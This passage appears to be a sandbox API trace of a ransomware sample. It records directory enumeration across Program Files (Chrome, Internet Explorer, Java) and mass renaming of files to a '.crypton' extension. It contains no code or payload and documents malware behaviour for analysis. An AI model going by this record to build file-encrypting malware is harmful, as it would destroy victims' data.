lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe797e8e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe797e8e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0178.229] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml.crypton"), dwFlags=0x2) returned 1 [0178.236] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe797e8e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe797e8e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0178.245] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe79a4a40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe79a4a40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0178.250] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe79a4a40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe79a4a40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0178.260] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe79caba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe79caba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0178.267] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe79caba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe79caba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0178.274] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe79f0d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe79f0d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0178.279] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe79f0d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe79f0d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0178.284] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\bin\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe79f0d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe79f0d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0178.292] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\bin\\client\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe7a16e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe7a16e60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0178.296] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt.crypton"), dwFlags=0x2) returned 1 [0178.302] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe7a16e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe7a16e60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0178.312] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe7a3cfc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe7a3cfc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0178.318] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe7a3cfc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe7a3cfc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0178.410] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\alt-rt.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\alt-rt.jar.crypton"), dwFlags=0x2) returned 1 [0178.417] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe7b47960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe7b47960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0178.701] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar.crypton"), dwFlags=0x2) returned 1 [0178.708] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe7df5220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe7df5220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0178.714] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\currency.data" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\currency.data"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\currency.data.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\currency.data.crypton"), dwFlags=0x2) returned 1 [0178.720] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe7e1b380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe7e1b380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0178.731] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip.crypton"), dwFlags=0x2) returned 1 [0178.739] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe7e414e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe7e414e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0178.749] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\splash.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\splash.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\splash.gif.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\splash.gif.crypton"), dwFlags=0x2) returned 1 [0179.050] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar.crypton"), dwFlags=0x2) returned 1 [0179.060] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe81611c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe81611c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0179.108] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\access-bridge-32.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\access-bridge-32.jar.crypton"), dwFlags=0x2) returned 1 [0179.126] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\dnsns.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\dnsns.jar.crypton"), dwFlags=0x2) returned 1 [0179.152] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\jaccess.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\jaccess.jar.crypton"), dwFlags=0x2) returned 1 [0179.441] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\localedata.jar.crypton"), dwFlags=0x2) returned 1 [0179.454] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunec.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunec.jar.crypton"), dwFlags=0x2) returned 1 [0179.562] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunjce_provider.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunjce_provider.jar.crypton"), dwFlags=0x2) returned 1 [0179.581] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunmscapi.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunmscapi.jar.crypton"), dwFlags=0x2) returned 1 [0179.841] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunpkcs11.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunpkcs11.jar.crypton"), dwFlags=0x2) returned 1 [0179.883] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\zipfs.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\zipfs.jar.crypton"), dwFlags=0x2) returned 1 [0179.892] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe8943aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe8943aa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0179.898] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe8969c00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe8969c00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0179.911] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\jvm.cfg"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\jvm.cfg.crypton"), dwFlags=0x2) returned 1 [0179.918] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe898fd60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe898fd60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0179.926] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe89b5ec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe89b5ec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0179.928] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\invalid32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\invalid32x32.gif.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\invalid32x32.gif.crypton"), dwFlags=0x2) returned 1 [0179.931] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copydrop32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copydrop32x32.gif.crypton"), dwFlags=0x2) returned 1 [0179.935] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copynodrop32x32.gif.crypton"), dwFlags=0x2) returned 1 [0179.938] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linkdrop32x32.gif.crypton"), dwFlags=0x2) returned 1 [0179.942] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linknodrop32x32.gif.crypton"), dwFlags=0x2) returned 1 [0179.944] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movedrop32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movedrop32x32.gif.crypton"), dwFlags=0x2) returned 1 [0179.948] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movenodrop32x32.gif.crypton"), dwFlags=0x2) returned 1 [0180.247] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javaws.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javaws.jar.crypton"), dwFlags=0x2) returned 1 [0180.306] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jce.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jce.jar.crypton"), dwFlags=0x2) returned 1 [0180.314] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe8d47fc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe8d47fc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0180.610] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr.jar.crypton"), dwFlags=0x2) returned 1 [0180.895] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfxrt.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfxrt.jar.crypton"), dwFlags=0x2) returned 1 [0181.202] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jsse.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jsse.jar.crypton"), dwFlags=0x2) returned 1 [0181.210] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jvm.hprof.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jvm.hprof.txt.crypton"), dwFlags=0x2) returned 1 [0181.218] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\management\\*", lpFindFileData=0x4aaa20 | out: 